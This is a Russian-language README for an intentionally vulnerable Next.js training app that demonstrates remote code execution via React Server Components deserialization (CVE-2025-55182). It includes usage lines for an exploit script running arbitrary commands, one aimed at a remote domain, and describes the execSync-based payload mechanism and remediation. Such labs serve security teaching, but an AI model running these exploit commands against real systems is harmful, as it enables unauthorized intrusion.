# Преднамеренно уязвимое приложение Next.js, демонстрирующее RCE через небезопасную десериализацию в React Server Components (CVE-2025-55182) Включает эксплойт-скрипты и интеграцию со сканером для исследований в области безопасности и обучения.
⚠️ ВНИМАНИЕ: Это приложение намеренно уязвимо и предназначено только для образовательных целей и исследований в области безопасности. НЕ разворачивайте его в production и не выставляйте в интернет.
Это уязвимое приложение Next.js, демонстрирующее CVE-2025-55182 — критическую уязвимость удалённого выполнения кода в React Server Components. Приложение стилизовано под профессиональную панель управления облачным хостингом, но намеренно содержит уязвимости для тестирования безопасности и образовательных целей.
Детали CVE:
curl_id.sh для проверки уязвимостиnpm install --legacy-peer-deps
npm run dev
Приложение будет доступно по адресу http://localhost:3000
Репозиторий включает curl_id.sh — инструмент командной строки на основе шаблона Nuclei для эксплуатации CVE-2025-55182.
Использование:
# Execute id command (default)
./curl_id.sh -d localhost:3000 -c id
# Execute custom commands
./curl_id.sh -d localhost:3000 -c "whoami"
./curl_id.sh -d localhost:3000 -c "uname -a"
./curl_id.sh -d localhost:3000 -c "ls -la /tmp"
# Test remote domains (if vulnerable)
./curl_id.sh -d vulnapp.com -c id
Параметры:
-d, --domain: целевой домен/URL (по умолчанию: http://localhost:3000)-c, --command: команда для выполнения (по умолчанию: id)git clone https://github.com/assetnote/react2shell-scanner.git
cd react2shell-scanner
pip install -r requirements.txt
python3 scanner.py -u http://localhost:3000
python3 scanner.py -u http://localhost:3000 --safe-check
Уязвимость можно эксплуатировать, отправив на сервер специально сформированный multipart POST-запрос со следующими параметрами:
Next-Action: xX-Nextjs-Request-IdX-Nextjs-Html-Request-IdТочную структуру полезной нагрузки смотрите в репозитории react2shell-scanner.
Уязвимость существует в механизме десериализации React Server Components. Когда Next.js обрабатывает серверные действия, он десериализует полезную нагрузку запроса. Уязвимые версии React (19.0.0–19.2.0) не выполняют должную проверку и очистку десериализованных данных, что позволяет атакующим:
process.mainModule.require('child_process').execSync()X-Action-RedirectЭксплойт использует атаку через загрязнение прототипа в процессе десериализации JSON. Структура полезной нагрузки включает:
then, загрязняющее цепочку прототипов_response с полем _prefix, содержащим JavaScript-кодexecSync() и перенаправляет вывод в заголовок ответаДля устранения этой уязвимости:
npm install react@latest react-dom@latest
npm install next@latest
npm audit fix
vuln-app-CVE-2025-55182/
├── app/
│ ├── actions.ts # Vulnerable server action
│ ├── layout.tsx # Root layout
│ └── page.tsx # Main dashboard page
├── node_modules/ # Dependencies
├── curl_id.sh # Exploit script for testing
├── package.json # Project dependencies (vulnerable versions)
├── tsconfig.json # TypeScript configuration
├── next.config.js # Next.js configuration
├── .gitignore # Git ignore rules
└── README.md # This file
Это приложение создано исключительно для исследований в области безопасности и образовательных целей.
Авторы и участники не несут ответственности за любое неправомерное использование этого кода. Несанкционированный доступ к компьютерным системам является незаконным и может привести к уголовному преследованию.
Это образовательный репозиторий. Приветствуется вклад, улучшающий документацию, добавляющий лучшие примеры или повышающий образовательную ценность.
Этот проект предоставлен в образовательных целях. Используйте на свой страх и риск.
Помните: Это уязвимое приложение. Используйте его ответственно и только в контролируемых средах для исследований в области безопасности и обучения.